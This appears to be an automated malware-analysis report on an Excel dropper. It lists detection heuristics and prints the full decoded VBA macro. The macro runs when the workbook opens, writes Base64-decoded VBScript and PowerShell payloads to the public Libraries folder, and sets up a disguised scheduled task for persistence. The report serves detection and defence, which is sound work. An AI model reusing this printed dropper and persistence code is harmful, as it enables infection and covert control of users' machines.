Malware Insights
The sample is an Excel file containing a Workbook_Open VBA macro. This macro is designed to execute a PowerShell command that decodes and saves two scripts, 'komisova.vbs' and 'komisova.ps1', to the user's public libraries directory. It then uses schtasks to create a scheduled task named 'GoogleUpdatesTaskReport' to execute the VBScript every two minutes, likely for persistence and further payload delivery. The presence of WScript.Shell and PowerShell references, along with the scheduled task creation, strongly indicates a downloader or dropper functionality.
Heuristics 10
-
ClamAV: Xls.Dropper.Agent-6465255-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-6465255-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26) Set wss = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
pth = wss.ExpandEnvironmentStrings("%PUBLIC%") cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}""" cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26) Set wss = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub WOrkBook_Open() Call komisova_tr2 -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2954 bytes |
SHA-256: a104b179351aa4896f0045de2187357cca96d91acfbf808c854e4500e02b01af |
|||
|
Detection
ClamAV:
Vbs.Trojan.Oilrig-6332898-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub WOrkBook_Open()
Call komisova_tr2
Call komisova_s2
End Sub
Sub komisova_s2()
If ActiveWorkbook.Worksheets(1).Visible Then
Dim WS_Count As Integer
Dim I As Integer
WS_Count = ActiveWorkbook.Worksheets.Count
For I = 1 To WS_Count
ActiveWorkbook.Worksheets(I).Visible = True
Next I
ActiveWorkbook.Worksheets(1).Visible = False
ActiveWorkbook.Worksheets(2).Activate
End If
End Sub
Sub komisova_tr2()
Set komisova_vb = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 25)
Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
Set wss = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
pth = wss.ExpandEnvironmentStrings("%PUBLIC%")
cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"""
cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs"
If Not (fso.FileExists(pth & "\Libraries\komisova.vbs")) Then
If Not (fso.FolderExists(pth & "\Libraries\up")) Then
fso.CreateFolder (pth & "\Libraries\up")
End If
If Not (fso.FolderExists(pth & "\Libraries\dn")) Then
fso.CreateFolder (pth & "\Libraries\dn")
End If
If Not (fso.FolderExists(pth & "\Libraries\tp")) Then
fso.CreateFolder (pth & "\Libraries\tp")
End If
wss.Run cmd, 0
wss.Run cmd2, 0
Set wss = Nothing
Set fso = Nothing
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.